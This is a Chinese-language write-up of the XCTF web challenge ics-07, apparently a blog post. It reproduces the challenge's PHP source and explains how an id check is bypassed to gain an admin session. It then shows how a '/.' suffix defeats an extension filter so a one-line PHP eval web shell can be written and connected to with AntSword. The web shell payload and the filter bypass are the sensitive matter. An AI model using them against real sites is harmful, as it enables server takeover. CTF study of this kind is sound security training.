XCTF-Web高手进阶区 ics-07

WP

进入环境,按照提示进入项目管理页面,点击view-source得到源码:

<?php
session_start();

if (!isset($_GET[page])) {
    show_source(__FILE__);
    die();
}

if (isset($_GET[page]) && $_GET[page] != 'index.php') {
    include('flag.php');
}else {
    header('Location: ?page=flag.php');
}

?>


<?php
if ($_SESSION['admin']) {
    $con = $_POST['con'];
    $file = $_POST['file'];
    $filename = "backup/".$file;

    if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){
        die("Bad file extension");
    }else{
        chdir('uploaded');
        $f = fopen($filename, 'w');
        fwrite($f, $con);
        fclose($f);
    }
}
?>

<?php
if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {
    include 'config.php';
    $id = mysql_real_escape_string($_GET[id]);
    $sql="select * from cetc007.user where id='$id'";
    $result = mysql_query($sql);
    $result = mysql_fetch_object($result);
} else {
    $result = False;
    die();
}

if(!$result)die("<br >something wae wrong ! <br>");
if($result){
    echo "id: ".$result->id."</br>";
    echo "name:".$result->user."</br>";
    $_SESSION['admin'] = True;
}
?>


首先是这个点:

if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {


$sql="select * from cetc007.user where id='$id'";

浮点数!==‘1’,而且id最后一位是9,并且传入的id一定要可以查到数据。
我用的是id=1a9,师傅们还有其他的姿势:

  • 1\9
  • 1,9
    接下来就是相当于文件上传了。
    $con是文件的内容,$file是文件名,而且存在正则匹配,最后是php的后缀的都不行。
    因此这里最简单的就是后面加上/.,直接绕过正则匹配:
file=4321.php/.&con=<?php eval($_POST[feng]);?>

需要注意的是,我们文件的目录是在/uploaded/backup/下面。
当然也可以这样:

file=1432.php/1432.php/..&con=<?php eval($_POST[feng]);?>

然后蚁剑直接连就可以了。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值